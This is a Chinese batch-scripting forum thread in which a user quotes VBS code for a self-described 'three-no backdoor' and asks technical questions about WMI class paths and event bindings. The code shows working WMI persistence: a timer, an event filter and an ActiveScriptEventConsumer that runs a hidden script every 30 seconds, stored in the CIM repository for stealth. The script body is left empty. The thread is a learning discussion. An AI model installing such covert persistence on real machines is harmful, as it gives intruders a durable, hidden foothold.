标题: [问题求助] VBS脚本“三无后门”的几个问题 [已解决] [打印本页]
作者: wankoilz 时间: 2013-1-23 12:56 标题: VBS脚本“三无后门”的几个问题 [已解决]
本帖最后由 wankoilz 于 2013-3-6 21:12 编辑
我看了Demon的博客里面“三无后门”的代码后有几个问题,还请指导一下:
代码来自http://demon.tw/copy-paste/vbs-wmi-trojan-3.html:- '一个绑定事件和ASEC的实例。
-
- Function InstallUpdateableTrojan
- WMILink="winmgmts:\\.\root\cimv2:" 'ASEC所在的名称空间
- TrojanName="ScriptKids" '自定义的消费者名字,也就是你的后门的名字
- TrojanRunTimer=30000 '自定义的脚本运行间隔
-
- strtxt="" '自定义的脚本内容。为了隐蔽我们就不用scriptfilename了。会被Windows编码后写入CIM存储库
-
- '配置事件消费者'
- set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
- Asec.name=TrojanName&"_consumer"
- Asec.scriptingengine="vbscript"
- Asec.scripttext=strtxt
- set Asecpath=Asec.put_
-
- '配置计时器'
- set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
- WMITimer.timerid=TrojanName&"_WMITimer"
- WMITimer.intervalbetweenevents=TrojanRunTimer
- WMITimer.skipifpassed=false
- WMITimer.put_
-
- '配置事件过滤器'
- set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
- EventFilter.name=TrojanName&"_filter"
- EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
- EventFilter.querylanguage="wql"
- set FilterPath=EventFilter.put_
-
- '绑定消费者和过滤器'
- set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
- Binds.consumer=Asecpath.path
- Binds.filter=FilterPath.path
- Binds.put_
-
- End Function
复制代码
问题1
里面出现了 set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_ 这种路径写法,
为什么获取其他实例比如 win32_process 时写成
set objprocesses=getobject("winmgmts:\\.\root\cimv2:win32_process").spawninstance_这样不行呢?
是因为 ActiveScriptEventConsumer 属于系统类吗?
还有,http://bbs.bathome.net/thread-21979-1-1.html 这里居然有 getobject("winmgmts:win32_process").instances_ 这种写法... ...
感觉真是太灵活了吧,有点头大... ...
问题2
set Asecpath=Asec.put_ 其中 Asecpath 是一个什么对象呢?我知道这是为了获取它的 path 属性,但它和 Asec 这个对象有什么关系呢?
问题3
看了这个问题大家不要见笑啊,既然专门设计一个绑定的类,为什么不直接设计成绑定 具体事件和消费者 ,而要整成绑定 过滤出来的事件和消费者呢... ...
直接绑定 事件id和消费者id 不就可以了吗,是不是多此一举呢?
勿怪!
作者: wankoilz 时间: 2013-1-24 16:10
补问一个:
__eventconsumer和ASEC有什么区别呢?
作者: wankoilz 时间: 2013-3-6 21:11
通过反复学习 《WMI入门教程》(三部分),以上问题基本上解决了。
http://demon.tw/programming/wmi-scripting-primer-part-1.html
作者: czjt1234 时间: 2013-3-11 22:20
朋友,你倒把你的心得体会说一下啊~
作者: wankoilz 时间: 2013-3-11 23:22
这个真是一言难尽啊,我觉得应该要把WMI基本结构模型,类定义,WMI脚本库(就是入门三部曲)等概念搞清楚,结合wbemtest.exe查看相应类定义的方法、属性、限定符等才能够系统了解。
Demon兄的博客还是很严谨很专业的,看了不后悔!
欢迎光临 批处理之家 (http://www.bathome.net/) |
Powered by Discuz! 7.2 |